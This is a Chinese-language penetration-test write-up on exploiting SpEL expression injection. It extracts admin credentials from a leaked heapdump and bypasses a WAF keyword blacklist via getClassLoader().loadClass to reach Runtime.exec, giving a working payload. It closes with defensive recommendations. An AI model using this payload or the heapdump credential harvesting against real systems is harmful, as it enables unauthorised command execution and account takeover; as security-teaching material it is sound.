记一次组合拳之SPEL(重在思路分享+payload)
字数 942 2025-10-01 14:05:44
SPEL表达式注入漏洞挖掘与利用技术分析
概述
本文基于一次真实渗透测试案例,详细分析SPEL表达式注入漏洞的发现、利用和绕过技术。重点包含信息收集、漏洞发现、WAF绕过和最终利用的全过程。
信息收集阶段
初始探测
- 目标站点进行常规信息收集
- 弱密码爆破尝试未果
- 前台接口分析未发现明显漏洞
关键发现:Heapdump泄露
- 目录扫描发现heapdump文件泄露
- Heapdump包含应用程序堆内存中的所有对象和状态
- 使用专用工具分析heapdump文件:
https://github.com/wyzxxz/heapdump_tool - 搜索关键词"password"成功提取管理员凭证
漏洞发现过程
接口分析
- 获取管理员权限后访问70+内部接口
- 发现关键接口参数:
expr - 参数特征表明可能为表达式注入点
表达式类型识别
通过测试确定表达式类型:
| 表达式类型 | 特征 | 测试结果 |
|---|---|---|
| SPEL表达式 | 以#开头引用变量 | 最终确认 |
| EL表达式 | ${}或#{}格式 | 计算失败 |
| OGNL表达式 | @class@method()形式 | 未匹配 |
SPEL表达式基础语法
#variable // 引用变量
T(java.lang.Math).max(1,2) // 调用静态方法
new java.lang.String('abc') // 创建对象
#obj.getName() // 方法调用
#list[0] // 集合访问
condition ? trueVal : falseVal // 三元运算符
WAF绕过技术
黑名单识别
new关键字被过滤T(模式被阻断- 直接实例化方法全部被禁止
源码审计与绕过
通过分析getClass()方法源码发现替代方案:
// 原始反射方法被阻断
getClass().forName("java.lang.Runtime")
// 替代方案:使用getSuperclass()
getClass().getSuperclass()
类加载器利用
通过获取类加载器间接加载所需类:
// 获取类加载器路径
getClass().getClassLoader()
// 加载Runtime类
getClass().getClassLoader().loadClass("java.lang.Runtime")
完整利用链
环境确认
// 测试表达式计算
expr=#root.length()-1 // 回显9,确认注入点
绕过WAF执行命令
// 最终payload构造
expr=#this.getClass().getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("whoami")
技术要点总结
- 信息收集是关键:Heapdump泄露往往包含敏感信息
- 接口参数分析:注意
expr、expression等参数名 - 表达式类型识别:通过基础语法测试确定表达式类型
- WAF绕过思路:
- 审计源码寻找替代方法
- 使用getSuperclass()替代forName()
- 通过类加载器间接加载类
- 利用链构造:逐步构建从类加载到命令执行的完整链
防御建议
- 避免Heapdump文件泄露
- 对表达式输入进行严格过滤和验证
- 使用安全沙箱环境执行表达式
- 定期进行安全代码审计
- 实施最小权限原则
通过本案例可以看出,漏洞挖掘需要结合细致的信息收集、源码理解能力和创造性的绕过思路。这种深度渗透方法适用于企业级应用的安全测试。